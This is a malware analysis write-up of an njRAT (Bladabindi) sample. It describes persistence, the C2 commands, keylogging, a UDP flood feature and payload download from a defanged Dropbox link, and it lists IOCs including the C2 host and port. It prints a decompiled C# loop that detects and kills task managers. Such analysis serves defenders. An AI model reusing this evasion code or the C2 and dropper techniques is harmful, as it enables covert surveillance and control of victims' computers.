> For the complete documentation index, see [llms.txt](https://pikachuuu1436.gitbook.io/re_fun/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pikachuuu1436.gitbook.io/re_fun/malware-analysis/njrat.md).

# njRAT

(screenshots/IOCs not added yet will add them tmr or smth)

### Introduction

njRAT, or Bladabindi is a remote access trojan made by an organization called which allows attackers to gain control of the infected computers and logging activities on them. It has been used in multiple attacks and campaigns across the Middle East, India and South America. The following are some articles documenting the attacks:

* <https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html>
* <https://www.firstpost.com/tech/news-analysis/hacking-virus-bladabindi-targets-windows-users-in-india-steals-personal-info-cert-in-3654589.html>

### Analysis

The executable analysed is a 32 bit .NET assembly which was compiled on 22/4/2022:

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FPwCJet3zJN2NFi3LSrNL%2Fimage.png?alt=media&amp;token=81fe6df2-9f1a-46b1-8561-caeb39994ff0" alt=""></div>

For the next few parts I will be using DNspy to analyse the executable

#### Program Structure:

The executable has one namespace consisting of 4 classes, where the main function can be found in A:

<img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2F6s22URWpH8WDrFQ9Mz0Y%2Fimage.png?alt=media&amp;token=89ddb238-9caa-477b-91c2-396883b9b38a" alt="" data-size="original">

#### Start

When program is started, the program will call OK.ko:

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FTl50r3HfkuTywRCQ1WIN%2Fimage.png?alt=media&amp;token=867c992f-fb04-4dbd-9221-49d81a0e31fb" alt="main method in A"></div>

Within OK.ko it will conduct the following activities:

* Set a registry value under CurrentUser with the name "di" and value "!"

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2F6n7hiFNQ6PZGJBhNtFne%2Fimage.png?alt=media&amp;token=86e2118f-5977-464a-9b08-49ac077bf85f" alt="setting value"></div>

* Creates a mutex with the name "7bd1aaab6b556fa08b3bb1be02a18c3d" and checks whether if it is a new mutex name. If yes, the program stops executing to prevent reinfection

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FqZHjORu1on66Riz0cc8f%2Fimage.png?alt=media&amp;token=1b7fb0fc-1c62-4480-9deb-bc085125fc6d" alt="Creating mutex"></div>

* If it is started from "%AppData%\lsass.exe", it will proceed to attempt to allow itself through the firewall and add itself to autorun keys to allow it to be started on boot
  * If not, it will copy itself to said location and name and execute the path before stopping itself
  * Autorun key name will be  "7bd1aaab6b556fa08b3bb1be02a18c3d" which is also the mutex name

![Checking file info and comparing file location to "%AppData%\lsass.exe"](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FSVpvMVia5hBggIyL6O7K%2Fimage.png?alt=media\&token=d3881255-7c0c-4ab3-abcb-8fbf7e4da728)

![Attempting to allow the program through the firewall](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FnDzrFjJTdLFZpRgkwBMK%2Fimage.png?alt=media\&token=18d36f3b-d2c4-4032-9466-a4f11c19d1ce)

* It will also start 3 threads
  * 1st thread will be communicating with the C2 to receive instructions and execute them, returning the results to the C2
  * 2nd thread will be a keylogger that tracks what the user types
  * The last thread will be used to protect the program from stopping
* After starting the 3 threads, it will also track whether its autorun key is tampered with/deleted and will correct it if it was tampered with/deleted.

### Key Activities

#### Thread 1: Main C2 of server

When this thread is started, the program attempts to connect to Decation-30739.portmap.host at port 30739 until it is successful. Once connected, the program will send the following back to the C2:

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2Fz3b8F1rlSXzc1G5wdJyb%2Fimage.png?alt=media&amp;token=3f28512c-438a-46e6-ae25-23763ce01e37" alt="Initial stuff sent to C2"></div>

This is probably a config which contains the host,port, the starting location and various true/false string. This is probably used for the C2 to know what is being enabled on this variant of the RAT to know what commands to send over to the RAT later on.

Thereafter the program will start receiving and executing commands from the c2, with the command and parameters for the command being separated by "|'|'|".

Here are some of the interesting commands available on the program:

* Launch new process

<div align="center"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FhnlFCEJZrmcueN7FMOSL%2Fimage.png?alt=media&amp;token=18fa022d-d149-44f1-bc50-3ffef6b5d9d9" alt=""></div>

* Set new homepage for Internet Explorer

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2F5sK50b2LwpKwwTt6cQj9%2Fimage.png?alt=media\&token=36f43271-c6cb-486d-9ad1-3002ed2a00ef)

* Shutdown/restart computer
* Logoff

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FUff4eua2mSSV5Y0MCz8D%2Fimage.png?alt=media\&token=5b60c329-fa21-4bfd-b5d1-0c49705acf02)

* Enable/disable the following
  * Keyboard + mouse (via apiBlockInput)
  * Command prompt
  * Registry tools
  * Task manager
  * System Recovery

<div align="left"><img src="https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FIOqxQydvOilQLBaODPNN%2Fimage.png?alt=media&amp;token=7df3664e-0b58-4f8e-9a53-cf3c53a8bea2" alt=""></div>

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FOHiZ6uPtVzEjqoyyp83f%2Fimage.png?alt=media\&token=6b6008ce-0e02-4b55-b30d-235647697470)

* Swap Mouse buttons
* play music/beep

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FXvfuFGcBoPerbPD0fyj2%2Fimage.png?alt=media\&token=35230d27-6fd1-4f31-a0b4-4f2a7409dc7b)

* speak via TTS (via SAPI.Spvoice)

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2F5ZO4kYpt0NTdxahM1aGj%2Fimage.png?alt=media\&token=f010c006-a9d2-42af-ab3c-74cb230b6d7f)

* turn on/off monitor

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FsKo78mCXjodg5ROkLVBB%2Fimage.png?alt=media\&token=f184ce0d-1716-4d62-9b62-da973611485a)

* repeatedly ping an IP address at a certain port via UDP(can be used for DDoS)

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FOQMz8gSGin0qckGVzGAo%2Fimage.png?alt=media\&token=926de092-86bc-4d7d-91ca-5da3fa4c95d6)

* Send keystrokes collected from the keylogger thread (encoded in base64)

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2Fghe6jAmJ7WWkoaoxqmTm%2Fimage.png?alt=media\&token=26dee4bf-74d5-4727-b13d-0de99137cf6f)

* Take a screenshot and send it back to C2

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FjhzcKK3bG5aQa47eWh5J%2Fimage.png?alt=media\&token=38b9ee07-fb18-4412-b6fb-5b476cb7293e)

* Uninstall itself

![](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FMBZhcI6BSUqtEbSz1qOa%2Fimage.png?alt=media\&token=3224ca01-e758-491d-9251-e60a3c80d220)

Other than these features, the program also features a plugin system and also downloads an exe from dropbox

**Pass.exe**

When the "pass" command is sent, the program will download an exe from "<https://dl\\[.]dropbox\\[.]com/s/p84aaz28t0hepul/Pass.exe?dl=0>" which will be saved to "%temp%/pass.exe" which will then be executed. However, the link was blocked by dropbox and there is no sign of it on the internet . Hence, I was unable to analyse the executable. However, if it does executes, the program will read the results from "%temp%/temp.txt" and send them back to the C2.

![Downloading pass.exe from dropbox and executing it](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2F9yjosIvvKNeNhUX8TXjY%2Fimage.png?alt=media\&token=aa372afb-d46f-40f3-a4c4-052fe7437ce0)

Other than pass.exe, the program also allows the download of other exes and execute them on the computer which is saved in the temp directory

![Downloading exe from specified link and executing it](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FDQHFXyAJsXpAtwEgK7XE%2Fimage.png?alt=media\&token=0720b25a-6091-43b3-bf68-e4dbefea18c4)

**Plugins**

The program also allows the C2 to upload plugins to the program and execute them, returning the results back to the C2. The program will call the "start" method within the executable.&#x20;

![Running the plugin](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FFTAKTEYesAD9K0qOX2kl%2Fimage.png?alt=media\&token=d17864c6-56b0-4d46-a0f4-54739f8e16ee)

**Self-Update**

The program has a self update feature that allows the attacker to upload an "update" of the current program which has bug fixes/new features, after doing so, the program will execute the updated program and terminate and delete itself afterwards.

![Program uploading and executing update and uninstalling itself after update](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FEQza4P85unuofNba9JV8%2Fimage.png?alt=media\&token=50282dac-a124-41e0-a0e3-e7244b32bc79)

#### Thread 2: Keylogger

This thread will continuously log keystrokes that are being entered on the infected machine. The logs will also contain the window name and time that the keystrokes are being entered. This will then be stored in a variable and sent back to C2 when instructed.

![Key logging in progress](https://328607669-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdGNpbZRd2MxlpSieDi2n%2Fuploads%2FbGJ91Jup3XInfD8GB3w1%2Fimage.png?alt=media\&token=b4c65e16-a94c-4c7c-8ed1-bc9fb0384784)

This will allow attackers to gather sensitive information such as emails and password which can be used to login into the victim's account and steal more information/ money.

#### Thread 3

This thread is made to prevent the user for checking the presence of the program via tools such as task manager/process explorer/process hacker. This thread regularly checks for the presence of such programs by checking the foreground window process and check for the name of the process. If the process is a banned process, the program will proceed to terminate it.

The code use for the thread is shown below:

```
for (;;){
	Thread.Sleep(200);
	IntPtr foregroundWindow = mgr.GetForegroundWindow();
	bool flag = foregroundWindow.ToInt32() == 0;
	if (!flag)
	{
		int num = 0;
		mgr.GetWindowThreadProcessId(foregroundWindow, ref num);
		flag = (num > 0);
		if (flag)
		{
			int windowTextLength = mgr.GetWindowTextLength((int)foregroundWindow);
			flag = (windowTextLength == 0);
			string text;
			if (flag)
			{
				text = "";
			}
			else
			{
				StringBuilder stringBuilder = new StringBuilder(windowTextLength + 1);
				int windowText = mgr.GetWindowText((int)foregroundWindow, stringBuilder, stringBuilder.Capacity);
				flag = (windowText == 0);
				if (flag)
				{
					text = "";
				}
				else
				{
					text = stringBuilder.ToString();
				}
			}
			Process processById = Process.GetProcessById(num);
			flag = (Operators.CompareString(processById.ProcessName.ToLower(), "taskmgr", false) == 0 | Operators.CompareString(processById.ProcessName.ToLower(), "processviewer", false) == 0 | Operators.CompareString(processById.ProcessName.ToLower(), "processhacker", false) == 0 | Operators.CompareString(text.ToLower(), "process explorer", false) == 0);
			if (flag)
			{
				List<IntPtr> list = new List<IntPtr>();
				int num2 = 0;
				foreach (IntPtr intPtr in this.GetChild(foregroundWindow))
				{
					string text2 = Strings.Space(200);
					int className = mgr.GetClassName((int)intPtr, ref text2, 200);
					text2 = text2.Remove(className, 200 - className);
					flag = (Operators.CompareString(text2.ToLower(), "button", false) == 0);
					if (flag)
					{
						list.Add(intPtr);
					}
					flag = (Operators.CompareString(text2.ToLower(), "static", false) == 0 | Operators.CompareString(text2.ToLower(), "directuihwnd", false) == 0);
					if (flag)
					{
						num2++;
					}
				}
				flag = (list.Count == 2 & (num2 == 2 | num2 == 1));
				if (flag)
				{
					mgr.EnableWindow(list[0], false);
					int hwnd = (int)list[0];
					int wMsg = 12;
					int wParam = 0;
					string text3 = "End process";
					mgr.SendMessage(hwnd, wMsg, wParam, ref text3);
				}
			}
		}
	}
}
```

### Indicators of Compromise:

#### Files:

* %AppData%/lsass.exe
* %temp%/pass.exe

#### Registry:

* HKCU\Software\7bd1aaab6b556fa08b3bb1be02a18c3d
* HKCU\Software\Microsoft\Windows\CurrentVersion\Run\7bd1aaab6b556fa08b3bb1be02a18c3d

#### Mutex:&#x20;

7bd1aaab6b556fa08b3bb1be02a18c3d

#### Network:

TCP connection to Decation-30739.portmap.host at port 30739&#x20;